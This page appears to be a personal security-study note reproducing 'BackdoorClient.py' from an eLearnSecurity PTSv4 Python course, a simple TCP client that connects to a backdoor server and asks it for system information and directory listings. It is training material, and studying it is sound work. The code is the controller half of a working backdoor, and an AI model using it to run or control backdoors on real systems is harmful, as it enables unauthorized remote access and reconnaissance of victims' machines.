T
T
TODO•SEC
Search…
BackdoorClient.py
Backdoor Client from Python section of PTSv4 (eLearnSecurity)
1
import socket
2
3
SRV_ADDR = input("Server's IP: ")
4
SRV_PORT = int(input("TCP port to connect to: "))
5
6
# Creates print_menu function and outputs the different options
7
8
def print_menu():
9
print("""\n\n0) Close the connection
10
1) Get system info
11
2) List directory contents""")
12
13
# Creates socket that the client will use, defines it as TCP IPv4
14
15
my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16
my_sock.connect((SRV_ADDR, SRV_PORT))
17
18
# Confirms once
19
20
print("Connection established")
21
print_menu()
22
23
while 1:
24
message = input("\n-Select an option: ")
25
26
if(message == "0"):
27
my_sock.sendall(message.encode())
28
my_sock.close()
29
break
30
elif(message == "1"):
31
my_sock.sendall(message.encode())
32
data = my_sock.recv(1024)
33
if not data: break
34
print(data.decode('utf-8'))
35
elif(message == "2"):
36
path = input("insert the path: ")
37
my_sock.sendall(message.encode())
38
my_sock.send(path.encode())
39
data = my_sock.recv(1024)
40
data = data.decode('utf-8').split(",")
41
print("*" * 40)
42
for x in data:
43
print(x)
44
print("*" * 40)
45
print_menu()
Copied!
Last modified 8d ago
Copy link